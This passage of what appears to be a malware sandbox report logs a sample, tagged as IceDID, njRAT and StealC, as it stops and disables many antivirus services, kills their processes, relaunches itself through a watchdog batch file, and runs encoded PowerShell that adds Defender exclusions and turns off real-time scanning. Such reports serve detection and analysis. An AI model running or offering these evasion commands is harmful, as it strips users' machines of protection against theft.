    schtasks /change /tn "Malwarebytes TrayApp" /disable
    3⤵
    PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "KAVFSGT" start=disabled >nul 2>&1
  2⤵
  PID:1080
- - C:\Windows\system32\sc.exe
    sc config "KAVFSGT" start=disabled
    3⤵
    - Launches sc.exe
    PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avast! Antivirus" start=disabled
  2⤵
  - Executes a command shell one-liner
  PID:4244
- - C:\Windows\system32\sc.exe
    sc config "avast! Antivirus" start=disabled
    3⤵
    PID:3760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MBAMSwissArmy start=disabled
  2⤵
  - Executes a command shell one-liner
  PID:2208
- - C:\Windows\system32\sc.exe
    sc config MBAMSwissArmy start=disabled
    3⤵
    - Launches sc.exe
    PID:3344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "KAVFS" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4312
- - C:\Windows\system32\sc.exe
    sc stop "KAVFS"
    3⤵
    PID:3576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop AVGSvc /y
  2⤵
  PID:5672
- - C:\Windows\system32\net.exe
    net stop AVGSvc /y
    3⤵
    PID:5260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AVGSvc /y
      4⤵
      PID:2660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MBAMChameleon start=disabled
  2⤵
  PID:2652
- - C:\Windows\system32\sc.exe
    sc config MBAMChameleon start=disabled
    3⤵
    PID:4196
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "KAVFS" start=disabled >nul 2>&1
  2⤵
  PID:5808
- - C:\Windows\system32\sc.exe
    sc config "KAVFS" start=disabled
    3⤵
    PID:5700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MBAMFarflt start=disabled
  2⤵
  PID:3744
- - C:\Windows\system32\sc.exe
    sc config MBAMFarflt start=disabled
    3⤵
    PID:2136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config AVGSvc start=disabled
  2⤵
  - Executes a command shell one-liner
  PID:6008
- - C:\Windows\system32\sc.exe
    sc config AVGSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:3508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\svchost_guard.bat"
  2⤵
  PID:5328
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1944
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:3340
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:1972
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:1704
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1288
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:4976
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:5852
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:2488
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6060
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:4952
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:980
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:4180
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4156
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:3572
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:4440
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:4160
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5852
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:4952
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:1232
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:3000
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2136
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:800
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:5548
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:5308
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5852
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:4776
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:5896
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:5520
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3196
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:2404
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:1884
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:4224
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4372
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq 2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    - Discovers running processes
    PID:1428
- - C:\Windows\system32\find.exe
    find /I "2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:800
- - C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-30_7c3eaeab3aefc2ba719a62da1b527277_glassworm_icedid_luca-stealer_njrat_stealc.exe"
    3⤵
    PID:3256
- - C:\Windows\system32\PING.EXE
    ping -n 16 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5180
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwATgBlAHQAVAByAGEAYwBlAFwAJwAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAGEAdABoAGUAcgBOAGUAdAB3AG8AcgBrAEkAbgBmAG8AJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:4476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "klnagent" >nul 2>&1
  2⤵
  PID:4184
- - C:\Windows\system32\sc.exe
    sc stop "klnagent"
    3⤵
    PID:4092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "klnagent" start=disabled >nul 2>&1
  2⤵
  PID:1816
- - C:\Windows\system32\sc.exe
    sc config "klnagent" start=disabled
    3⤵
    PID:6136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdagent.exe >nul 2>&1
  2⤵
  PID:2944
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdagent.exe
    3⤵
    PID:1972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "VSSERV" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3872
- - C:\Windows\system32\sc.exe
    sc stop "VSSERV"
    3⤵
    PID:2552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdservicehost.exe >nul 2>&1
  2⤵
  PID:5156
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdservicehost.exe
    3⤵
    PID:632
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "VSSERV" start=disabled >nul 2>&1
  2⤵
  PID:6100
- - C:\Windows\system32\sc.exe
    sc config "VSSERV" start=disabled
    3⤵
    PID:1852
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdredline.exe >nul 2>&1
  2⤵
  PID:600
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdredline.exe
    3⤵
    - Kills process with taskkill
    PID:5804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "bdredline" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2728
- - C:\Windows\system32\sc.exe
    sc stop "bdredline"
    3⤵
    - Launches sc.exe
    PID:4736
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAARQB4AHAAZQByAGkAZQBuAGMAZQBcACcAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAUAByAG8AZwByAGEAbQBEAGEAdABhAFUAcABkAGEAdABlAHIAJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:5984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "bdredline" start=disabled >nul 2>&1
  2⤵
  PID:4996
- - C:\Windows\system32\sc.exe
    sc config "bdredline" start=disabled
    3⤵
    PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vsserv.exe >nul 2>&1
  2⤵
  PID:1464
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vsserv.exe
    3⤵
    - Kills process with taskkill
    PID:2512
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "BDAuxSrv" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2660
- - C:\Windows\system32\sc.exe
    sc stop "BDAuxSrv"
    3⤵
    - Launches sc.exe
    PID:1264
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ekrn.exe >nul 2>&1
  2⤵
  PID:3932
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ekrn.exe
    3⤵
    - Kills process with taskkill
    PID:3928
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "BDAuxSrv" start=disabled >nul 2>&1
  2⤵
  PID:5628
- - C:\Windows\system32\sc.exe
    sc config "BDAuxSrv" start=disabled
    3⤵
    PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPSecurityService" >nul 2>&1
  2⤵
  PID:4580
- - C:\Windows\system32\sc.exe
    sc stop "EPSecurityService"
    3⤵
    PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM egui.exe >nul 2>&1
  2⤵
  PID:1868
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM egui.exe
    3⤵
    PID:5216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPSecurityService" start=disabled >nul 2>&1
  2⤵
  PID:4424
- - C:\Windows\system32\sc.exe
    sc config "EPSecurityService" start=disabled
    3⤵
    PID:1492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM eguiProxy.exe >nul 2>&1
  2⤵
  PID:5152
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM eguiProxy.exe
    3⤵
    - Kills process with taskkill
    PID:4492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPProtectedService" >nul 2>&1
  2⤵
  PID:4820
- - C:\Windows\system32\sc.exe
    sc stop "EPProtectedService"
    3⤵
    PID:2504
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -NoP -NonI -W Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADkALQAzADAAXwA3AGMAMwBlAGEAZQBhAGIAMwBhAGUAZgBjADIAYgBhADcAMQA5AGEANgAyAGQAYQAxAGIANQAyADcAMgA3ADcAXwBnAGwAYQBzAHMAdwBvAHIAbQBfAGkAYwBlAGQAaQBkAF8AbAB1AGMAYQAtAHMAdABlAGEAbABlAHIAXwBuAGoAcgBhAHQAXwBzAHQAZQBhAGwAYwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwAyADAAMgA2AC0AMAA5AC0AMwAwAF8ANwBjADMAZQBhAGUAYQBiADMAYQBlAGYAYwAyAGIAYQA3ADEAOQBhADYAMgBkAGEAMQBiADUAMgA3ADIANwA3AF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAHQAZQBhAGwAZQByAF8AbgBqAHIAYQB0AF8AcwB0AGUAYQBsAGMALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAGUAYwB1AHIAaQB0AHkAJwAgAC0ARgBvAHIAYwBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAE0AQQBQAFMAUgBlAHAAbwByAHQAaQBuAGcAIAAwACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQQByAGMAaABpAHYAZQBTAGMAYQBuAG4AaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
  2⤵
  PID:4332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -NonI -W Hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADkALQAzADAAXwA3AGMAMwBlAGEAZQBhAGIAMwBhAGUAZgBjADIAYgBhADcAMQA5AGEANgAyAGQAYQAxAGIANQAyADcAMgA3ADcAXwBnAGwAYQBzAHMAdwBvAHIAbQBfAGkAYwBlAGQAaQBkAF8AbAB1AGMAYQAtAHMAdABlAGEAbABlAHIAXwBuAGoAcgBhAHQAXwBzAHQAZQBhAGwAYwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwAyADAAMgA2AC0AMAA5AC0AMwAwAF8ANwBjADMAZQBhAGUAYQBiADMAYQBlAGYAYwAyAGIAYQA3ADEAOQBhADYAMgBkAGEAMQBiADUAMgA3ADIANwA3AF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAHQAZQBhAGwAZQByAF8AbgBqAHIAYQB0AF8AcwB0AGUAYQBsAGMALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABIAG8AcwB0AC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAGUAYwB1AHIAaQB0AHkAJwAgAC0ARgBvAHIAYwBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAE0AQQBQAFMAUgBlAHAAbwByAHQAaQBuAGcAIAAwACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQQByAGMAaABpAHYAZQBTAGMAYQBuAG4AaQBuAGcAIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAG4AdAByAHUAcwBpAG8AbgBQAHIAZQB2AGUAbgB0AGkAbwBuAFMAeQBzAHQAZQBtACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAUwBjAHIAaQBwAHQAUwBjAGEAbgBuAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:2236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPProtectedService" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4308
- - C:\Windows\system32\sc.exe
    sc config "EPProtectedService" start=disabled
    3⤵
    PID:1864
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM coreServiceShell.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2916
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coreServiceShell.exe
    3⤵
    PID:2940
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aQBmACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAFAAYQB0AGgAIAAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwATgBlAHQAVAByAGEAYwBlAFwAJwAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAGEAdABoAGUAcgBOAGUAdAB3AG8AcgBrAEkAbgBmAG8AJwAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAHsAJwBZACcAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:1960
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPIntegrationService" >nul 2>&1
  2⤵
  PID:3200
- - C:\Windows\system32\sc.exe
    sc stop "EPIntegrationService"
    3⤵
    PID:6056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM PccNTMon.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:632
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM PccNTMon.exe
    3⤵
    PID:2640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPIntegrationService" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4816
- - C:\Windows\system32\sc.exe
    sc config "EPIntegrationService" start=disabled
    3⤵
    PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM TMBMSRV.exe >nul 2>&1
  2⤵
  PID:6112
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM TMBMSRV.exe
    3⤵
    - Kills process with taskkill
    PID:5804
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPUpdateService" >nul 2>&1
  2⤵
  PID:2816
- - C:\Windows\system32\sc.exe
    sc stop "EPUpdateService"
    3⤵
    - Launches sc.exe
    PID:4684
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPUpdateService" start=disabled >nul 2>&1
  2⤵
  PID:4204
- - C:\Windows\system32\sc.exe
    sc config "EPUpdateService" start=disabled
    3⤵
    - Launches sc.exe
    PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SavService.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5036
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SavService.exe
    3⤵
    PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mbamservice.exe >nul 2>&1
  2⤵
